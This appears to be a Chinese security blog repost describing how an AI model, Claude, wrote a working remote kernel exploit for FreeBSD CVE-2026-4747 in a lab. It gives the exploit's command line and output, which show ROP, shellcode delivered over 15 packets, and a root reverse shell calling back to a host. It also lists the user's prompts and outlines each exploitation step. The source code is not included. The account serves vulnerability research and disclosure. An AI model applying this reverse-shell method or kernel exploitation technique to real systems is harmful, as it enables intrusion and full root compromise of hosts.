文章总结： Claude利用CVE-2026-4747FreeBSDRPCSEC_GSS漏洞开发出远程内核RCE利用程序，通过栈溢出实现ROP链执行，采用15轮数据包传输策略将shellcode写入内核并获取root权限反向连接shell。该漏洞利用FreeBSD14.x缺乏KASLR和栈保护的弱点，包含完整环境搭建、多包传输设计和线程清理机制。 综合评分： 85 文章分类： 漏洞分析,渗透测试,恶意软件,红队,二进制安全
Claude 编写了一个完整的 FreeBSD 远程内核 RCE 漏洞，并利用了 Root Shell（CVE-2026-4747）
Ots安全
2026年4月11日 14:23 广东
在小说阅读器读本章
去阅读
威胁简报
恶意软件
漏洞攻击
时间线：
- 2026-03-26：FreeBSD 发布了关于 CVE-2026-4747 的公告，指出“Nicholas Carlini 使用 Claude、Anthropic进行远程内核代码执行”。
- 太平洋时间 2026 年 3 月 29 日上午 9:45：我们请 Claude 开发一个漏洞利用程序。
- 2026年3月29日下午5:00（太平洋夏令时）：Claude 提供了一个可用的漏洞利用程序，可以获取 root shell。
- 总耗时：约8小时（挂机时间）。玩家大部分时间处于离线状态；克劳德实际工作时间约4小时。
克劳德实际上编写了两个使用两种不同策略的漏洞利用程序。两个程序都一次成功。程序内容如下：
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
[*] Starting listener on 0.0.0.0:4444...
[*] Starting listener on 0.0.0.0:4444...
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432 bytes (54 qwords)
Delivery: 15 rounds (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS is now RWX
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
[R4/15] write (4 qwords → 0xffffffff8198a840) ✓
[R5/15] write (4 qwords → 0xffffffff8198a860) ✓
[R6/15] write (4 qwords → 0xffffffff8198a880) ✓
[R7/15] write (4 qwords → 0xffffffff8198a8a0) ✓
[R8/15] write (4 qwords → 0xffffffff8198a8c0) ✓
[R9/15] write (4 qwords → 0xffffffff8198a8e0) ✓
[R10/15] write (4 qwords → 0xffffffff8198a900) ✓
[R11/15] write (4 qwords → 0xffffffff8198a920) ✓
[R12/15] write (4 qwords → 0xffffffff8198a940) ✓
[R13/15] write (4 qwords → 0xffffffff8198a960) ✓
[R14/15] write (4 qwords → 0xffffffff8198a980) ✓
[R15/15] write + EXECUTE (2 qwords → 0xffffffff8198a9a0) → JUMP 0xffffffff8198a800
[*] Shellcode delivered and executing.
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse shell → 10.0.2.2:4444
[*] Waiting for reverse shell...
[+] Connection from 127.0.0.1:41320
[+] Got shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
请查看完整的漏洞利用程序和相关说明。所有内容均由 Claude 亲自编写。以下是我们使用的提示信息（请忽略拼写错误）：
1. https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc we want to setup a test env for this vulnerability using docker preferably so the docker files can be copied later for easy repro. password for this vm is x , you should setup a vulnerable version of FreeBSD the latest it mentions and then trigger the vulnerability
2. we want to use docker for this not qemu if possible.. we should still be able toconnectand debug it the same i assume
3. why does it need to be QEMU andnot docker for this to be a real exploit?
4.no just use QEMU then
5. okay now can you maybe generate an entire RCE exploit for this image ?
6.wait what are you compiling? arent we testing it inside of the Fbsd VM using the actual FBSD moduleas described in the advisory ?
7. i mean why wouldnt you just install a vulnerable versionas mentioned in the advisory
8. okay contoninue totrigger this vuln.
9. what old qemu did you kill? we areusing qemu in another sessionas well. donotkill that Linux qemu.
10. why is it running on22222049and1111
11. okay now what about getting RCE.
12. tere isno kaslr so it should be easy
13.install ropgadget or what ever you need ... idk
14.no we dont want to reboot? we want a reverse shell as uid 0if possible ?
15. okay in ../FBSD-001 there is a different remote exploit that gets a shell.. read it for how they constructed the connect back as uid 0 maybe
16.is the ucred write even needed if the proc is uid0 ? and why dont we get a shell ? or can we demon strait somehow a unpriv non root user that elevates to root? but we still want a shell.. as uid0
17.from a remote context aka the exploit should be executed from outside the vm
18.no just continue toget the remote version working. use gdb and hat ever tools you need.
19. you should do this step by step - for the remote version foucs on triggering then getting PC control then the rop.
20. you need tokeep notes of our currentstatusand what you have done toget here. thanks.
21. you should verify everything with gdb if you need etc.
22.1. Pure ROP — no shellcode needed, but we're stuck on rax→rdi transfer (no gadget exists in this kernel) how are ou searching for rop gadgets?
23. why do we need kdc ?
24. nope that wont work as we cant do that from a remote exploit context without having accss to the shell
25. dont think we can prestage a /tmp/x ..
26. working means a connectback shell as uid0
27. when you get it workng i want a complete writeup of th evuln, the exploit methodology, the ropchain, the overflow, and how to install and setup a vuln target
for testing
28. i want a shell.
29. wait what do you mean increase nfs threadcount i guess we should use defaults here..
30. no just continue to get the remote version working. use gdb and hat ever tools you need.
31. make the writeup better explaining each step of the exploit and why
32. also # SSH tunnel for Kerberos KDC sshpass -p freebsd ssh -L 8888:127.0.0.1:88 -N -f -p 2222 [email protected] is it possible to do without an ssh tunnel ?
33. can you do the forward nstead of ssh tunnel then test the exploit again
34. /tmp/final_exploit hardly looks like the final exploit ...
35. why dont you make a nicer exploit where you can supply a target and cb ip ... and do everything inline in that exploit
36. the rop / shellcode everything ..
37. the writeup feels kind of bare, explain the shellcode as if the reader has never seen FBSD001 also what do you mean the "bruteforce" version?
38. also retest and verify it works
39. update the writeup to tell how to also setup a vulnerable target using vmware for example without a KDC tunnel
40. how can i boot the qemu and test it
41. why is KDC required? and nfsd ?
42. okay you noted this stuff in the writeup?
43. do you have the prompt log ? i want to see the original prompt for this
44. can you give me back all the prompts i entered in this session
从漏洞公告到获得可用的远程 root shell，Claude 需要解决六个不同的问题。值得注意的是，FreeBSD 让这一切比在现代 Linux 内核上更容易：FreeBSD 14.x 没有 KASLR（内核地址是固定且可预测的），也没有针对整数数组的栈金丝雀机制（溢出缓冲区是…… int32_t[]）。
- 实验环境搭建：搭建一个 FreeBSD 虚拟机，并配置 NFS、Kerberos 和存在漏洞的内核模块，确保溢出漏洞可通过网络访问。Claude 知道该虚拟机需要至少 2 个 CPU，因为 FreeBSD 会为每个 CPU 生成 8 个 NFS 线程，而该漏洞每次攻击会终止一个线程。此外，他还设置了远程调试，以便 Claude 可以读取内核崩溃转储文件。
- 多包传输：shellcode 无法装入单个数据包。Claude 设计了一种 15 轮策略：使内核内存可执行，然后分 14 个数据包，每次写入 32 字节的 shellcode。在 Claude 私下分享的另一个漏洞利用程序中，他使用了不同的策略：写入公钥而.ssh/authorized_keys不是反向 shell，这使得漏洞利用缩短到了 6 轮。
- 干净的线程退出：每次溢出都会劫持一个 NFS 内核线程。Claude 使用 kthread_exit() 函数干净地终止每个线程，从而保证服务器在下一轮攻击中保持运行。
- 偏移量调试：反汇编得到的初始堆栈偏移量有误。Claude 发送了 De Bruijn 模式（一种常用技术，但我们在阅读文档之前从未听说过这个术语），读取了崩溃转储文件，并修正了偏移量。
- 内核到用户空间转换：NFS 线程无法运行用户空间程序。Claude 通过 创建了一个新进程kproc_create()，使用kern_execve()将其替换为/bin/sh，并清除了P_KPROC标志，以便该进程可以转换到用户模式。
- 硬件断点错误：子进程持续崩溃并抛出调试异常。Claude 追踪到问题出在从 DDB 继承的过时调试寄存器上，并通过在 fork 进程前清除 DR7 寄存器修复了此问题。
结论
计算机一直都能发现软件中的漏洞。像 AFL 和 Syzkaller 这样的模糊测试工具已经发现内核漏洞十多年了。但是，发现漏洞和利用漏洞是截然不同的两件事。漏洞利用开发需要理解操作系统内部机制、编写 ROP 链、管理内存布局、调试崩溃问题，并在出现问题时灵活应对。长期以来，这被认为是只有人类才能跨越的领域。
END
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安
采集 翻译 | Ots Ai牛马
公众号 | AnQuan7 (Ots安全)
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：Ots安全 《Claude 编写了一个完整的 FreeBSD 远程内核 RCE 漏洞，并利用了 Root Shell（CVE-2026-4747）》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论